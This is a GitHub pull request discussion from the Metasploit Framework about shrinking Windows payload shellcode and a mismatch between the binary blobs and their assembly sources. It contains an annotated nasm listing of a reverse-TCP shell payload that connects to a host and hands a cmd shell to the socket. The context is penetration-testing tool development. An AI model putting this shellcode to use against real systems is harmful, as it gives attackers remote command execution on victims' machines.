Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

More shellcode golf #3078

Closed
wants to merge 4 commits into from
Closed

Conversation

schierlm
Copy link
Contributor

@schierlm schierlm commented Mar 7, 2014

Save a few more bytes (as described in my comments to https://community.rapid7.com/community/metasploit/blog/2014/02/14/shellcode-golf):

  • No need to clear EAX in block_api if we can keep the upper 3 bytes zero
  • Reshuffle some blocks to save some jumps
  • No need to set flags if previous instruction has set them as side effect already
  • Pushing several NULLs is shorter to do in a loop instead of individually
  • inc eax is shorter than inc ax; if we discard both flags and the rest of eax afterwards, it does not matter.

Note:

  • Some reshuffling requires more available stack depth now (but should not matter in practice since the stage will usually need a lot more stack anyway)
  • I only rebuilt a few binary blobs, as somebody from Rapid7 has to rebuild the rest anyway.
  • If it is not required that the _allports stager tries the ports in order, you could increment the port just "in place" with the two bytes swapped and save quite a lot more bytes
  • Of course, using a shorter URI in the http(s) stagers could save some more bytes, too. But that would require changes to the Ruby code as well.

@todb-r7 todb-r7 assigned todb-r7 and unassigned todb-r7 Mar 11, 2014
@jlee-r7
Copy link
Contributor

jlee-r7 commented Mar 14, 2014

Note that PrependMigrate and uses of block_api will have to get updated as part of this as well

@jlee-r7
Copy link
Contributor

jlee-r7 commented Mar 17, 2014

Something weird is going on with this. It looks like single_shell_reverse_tcp.asm is actually bigger with your changes. I'm wondering if it's a situation like in #3048 where the source doesn't match the module on master. =(

@schierlm
Copy link
Contributor Author

Comparing the nasm listing with the shellcode confirms your suspicion (when ignoring jump offsets and things I changed myself):

[...]
   111 00000083 5A                  <1>   pop edx                ; Restore our position in the module list
   112 00000084 8B12                <1>   mov edx, [edx]         ; Get the next module
   113 00000086 EB8D                <1>   jmp short next_mod     ; Process this module
   114                                  start:                   ;
   115 00000088 5D                        pop ebp                ; Pop off the address of 'api_call' for calling later.
   116                                  %include "./src/block/block_reverse_tcp.asm"
   117                              <1> ;-----------------------------------------------------------------------------;
   118                              <1> ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
   119                              <1> ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
   120                              <1> ; Version: 1.0 (24 July 2009)
   121                              <1> ;-----------------------------------------------------------------------------;
   122                              <1> [BITS 32]
   123                              <1> 
   124                              <1> ; Input: EBP must be the address of 'api_call'.
   125                              <1> ; Output: EDI will be the socket for the connection to the server
   126                              <1> ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
   127                              <1> 
   128                              <1> reverse_tcp:
   129 00000089 6833320000          <1>   push 0x00003233        ; Push the bytes 'ws2_32',0,0 onto the stack.
   130 0000008E 687773325F          <1>   push 0x5F327377        ; ...
   131 00000093 54                  <1>   push esp               ; Push a pointer to the "ws2_32" string on the stack.
   132 00000094 684C772607          <1>   push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
   133 00000099 FFD5                <1>   call ebp               ; LoadLibraryA( "ws2_32" )
   134                              <1>   
   135 0000009B B890010000          <1>   mov eax, 0x0190        ; EAX = sizeof( struct WSAData )
   136 000000A0 29C4                <1>   sub esp, eax           ; alloc some space for the WSAData structure
   137 000000A2 54                  <1>   push esp               ; push a pointer to this stuct
   138 000000A3 50                  <1>   push eax               ; push the wVersionRequested parameter
   139 000000A4 6829806B00          <1>   push 0x006B8029        ; hash( "ws2_32.dll", "WSAStartup" )
   140 000000A9 FFD5                <1>   call ebp               ; WSAStartup( 0x0190, &WSAData );
   141                              <1>   
   142 000000AB 50                  <1>   push eax               ; if we succeed, eax wil be zero, push zero for the flags param.
   143 000000AC 50                  <1>   push eax               ; push null for reserved parameter
   144 000000AD 50                  <1>   push eax               ; we do not specify a WSAPROTOCOL_INFO structure
   145 000000AE 50                  <1>   push eax               ; we do not specify a protocol
   146 000000AF 40                  <1>   inc eax                ;
   147 000000B0 50                  <1>   push eax               ; push SOCK_STREAM
   148 000000B1 40                  <1>   inc eax                ;
   149 000000B2 50                  <1>   push eax               ; push AF_INET
   150 000000B3 68EA0FDFE0          <1>   push 0xE0DF0FEA        ; hash( "ws2_32.dll", "WSASocketA" )
   151 000000B8 FFD5                <1>   call ebp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );

-- same up to here

   152 000000BA 97                  <1>   xchg edi, eax          ; save the socket for later, don't care about the value of eax after this
   153                              <1> 
   154                              <1> set_address:
   155 000000BB 6A05                <1>   push byte 0x05         ; retry counter

-- last part replaced by 89c7 = mov edi, eax. no retry counter.

   156 000000BD 687F000001          <1>   push 0x0100007F        ; host 127.0.0.1
   157 000000C2 680200115C          <1>   push 0x5C110002        ; family AF_INET and port 4444
   158 000000C7 89E6                <1>   mov esi, esp           ; save pointer to sockaddr struct
   159                              <1>   
   160                              <1> try_connect:
   161 000000C9 6A10                <1>   push byte 16           ; length of the sockaddr struct
   162 000000CB 56                  <1>   push esi               ; pointer to the sockaddr struct
   163 000000CC 57                  <1>   push edi               ; the socket
   164 000000CD 6899A57461          <1>   push 0x6174A599        ; hash( "ws2_32.dll", "connect" )
   165 000000D2 FFD5                <1>   call ebp               ; connect( s, &sockaddr, 16 );
   166                              <1> 

-- same up to here

   167 000000D4 85C0                <1>   test eax,eax           ; non-zero means a failure
   168 000000D6 740C                <1>   jz short connected
   169                              <1> 
   170                              <1> handle_failure:
   171 000000D8 FF4E08              <1>   dec dword [esi+8]
   172 000000DB 75EC                <1>   jnz short try_connect
   173                              <1> 
   174                              <1> failure:
   175 000000DD 68F0B5A256          <1>   push 0x56A2B5F0        ; hardcoded to exitprocess for size
   176 000000E2 FFD5                <1>   call ebp

-- last part missing (no retry loop, no exitProcess)
-- rest same

   177                              <1> 
   178                              <1> connected:
   179                                    ; By here we will have performed the reverse_tcp connection and EDI will be out socket.
   180                                  %include "./src/block/block_shell.asm"
   181                              <1> ;-----------------------------------------------------------------------------;
   182                              <1> ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
   183                              <1> ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
   184                              <1> ; Version: 1.0 (24 July 2009)
   185                              <1> ;-----------------------------------------------------------------------------;
   186                              <1> [BITS 32]
   187                              <1> 
   188                              <1> ; Input: EBP must be the address of 'api_call'. EDI must be a socket.
   189                              <1> ; Output: None.
   190                              <1> ; Clobbers: EAX, EBX, ECX, ESI, ESP will also be modified
   191                              <1> 
   192                              <1> shell:
   193 000000E4 68636D6400          <1>   push 0x00646D63        ; push our command line: 'cmd',0
   194 000000E9 89E3                <1>   mov ebx, esp           ; save a pointer to the command line
   195 000000EB 57                  <1>   push edi               ; our socket becomes the shells hStdError
   196 000000EC 57                  <1>   push edi               ; our socket becomes the shells hStdOutput
[...]

Both the retry loop and the exit code in case of a failure seem to be missing from the binary shellcode.

[Actually, I ran both binary shellcodes through ndisasm first, removed the offset column and diffed the output. Then looked up the changed instructions in the (much better commented) nasm listing to see what was going on.]

@limhoff-r7
Copy link
Contributor

@jlee-r7 I know we haven't been enforcing that the comments next to shellcode match the bytes, but this seem like something we should check in specs: Have metasm compile the supposed source for the shellcode and verify we get the shellcode back out that matches what is in the module. What do you think? I have a method of loading and testing modules that works on master as we used it in Pro.

@jlee-r7
Copy link
Contributor

jlee-r7 commented Mar 18, 2014

@limhoff-r7 Unfortunately, our shellcode source uses some nasm-isms that make it incompatible with metasm (specifically, the %include directive).

@limhoff-r7
Copy link
Contributor

If the %include is just a simple "paste included file here" like cpp's #include, then we could just convert the file to have erb preprocessing and have erb do the include for us and in a separate mode spit out the %include directive for use with nasm.

@hdm hdm added the blocked Blocked by one or more additional tasks label Dec 12, 2014
@hdm
Copy link
Contributor

hdm commented Dec 12, 2014

Marking delayed since this will require investigation by @schierlm ( binary not matching sources ). Worst case, we can keep this around for the next time we revisit the blockapi shellcode and try to incorporate these changes then.

@schierlm
Copy link
Contributor Author

Not sure what I should investigate here. @jlee-r7 pointed out that some singles actually get bigger after the patches, and I pointed out that this is because the current binaries do not match the source (they do not include the retry feature). When comparing the size of the binaries regenerated with current sources, they do get smaller as they should.

Last discussion with @jlee-r7 in IRC (a few months ago) resulted in that it is pointless for me to update the pull request with regenerated binaries due to Rapid7's policy of not accepting community contributions in binary form. He wanted to have a look at it and regenerate binaries when he finds time to do so.

So I agree that this pull request is delayed; however, creating a human deadlock in waiting for each other indefinitely will surely not resolve it :)

[why cannot I highlight @hdmoore-r7 here? Oh, it's @hmoore-r7 :) ]

@hdm
Copy link
Contributor

hdm commented Dec 13, 2014

@schierlm Thanks for the context! It sounds like someone on the Rapid7 side needs to review the shellcode source and then rebuild and test the payloads. One open item in the comment stream above:

Note that PrependMigrate and uses of block_api will have to get updated as part of this as well

Any chance you looked into this or discussed this with @jlee-r7 as well? I can take on this PR from a source review, build, and test standpoint.

@hdm hdm self-assigned this Dec 13, 2014
@hdm hdm removed the blocked Blocked by one or more additional tasks label Dec 13, 2014
@hdm
Copy link
Contributor

hdm commented Dec 13, 2014

Re: Making metasm handle the shellcode build ( @limhoff-r7 / @jlee-r7 ), the incompatibilities in the past include increased size for some operations compared to nasm, so there is more work to do than just implementing %include and this belongs in a ticket of its own.

@schierlm
Copy link
Contributor Author

I had a quick look at places where block_api is copied in, but I think they can easily be found by grepping, see https://github.com/rapid7/metasploit-framework/search?utf8=%E2%9C%93&q=%22fs+edx+48%22&type=Code - @jlee-r7 do you agree, or does it miss some?

If you prefer, I can add them to this pull request (more or less copy&pasting the changes to block_api). However, I currently don't have a working msf dev environment (my windows dev environment "died" when you did the meterpreter-bins gem change a few months ago and I did not have time to setup something new yet), so the changes would be 100% untested, so I don't know if it is so valuable.

Also, I don't believe they have to get updated, although it is of course best if more places can benefit from the new smaller code (and probably even some AV signatures get out-of-date as a side effect) :)

@hdm
Copy link
Contributor

hdm commented Dec 13, 2014

@schierlm Thanks! I think I can grab it from here. I will create a new PR with your source code commits cherry-picked and my commits to the block_api and binary blobs. At that point, @jlee-r7 or another developer can land it once we have verified that all of the modified payloads and stubs still work correctly. This the branch I am working from:

@hdm hdm mentioned this pull request Dec 13, 2014
@hdm
Copy link
Contributor

hdm commented Dec 13, 2014

Superceded by #4391

@hdm hdm closed this Dec 13, 2014
@schierlm schierlm deleted the more-shellcode-golf branch October 3, 2019 16:04
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants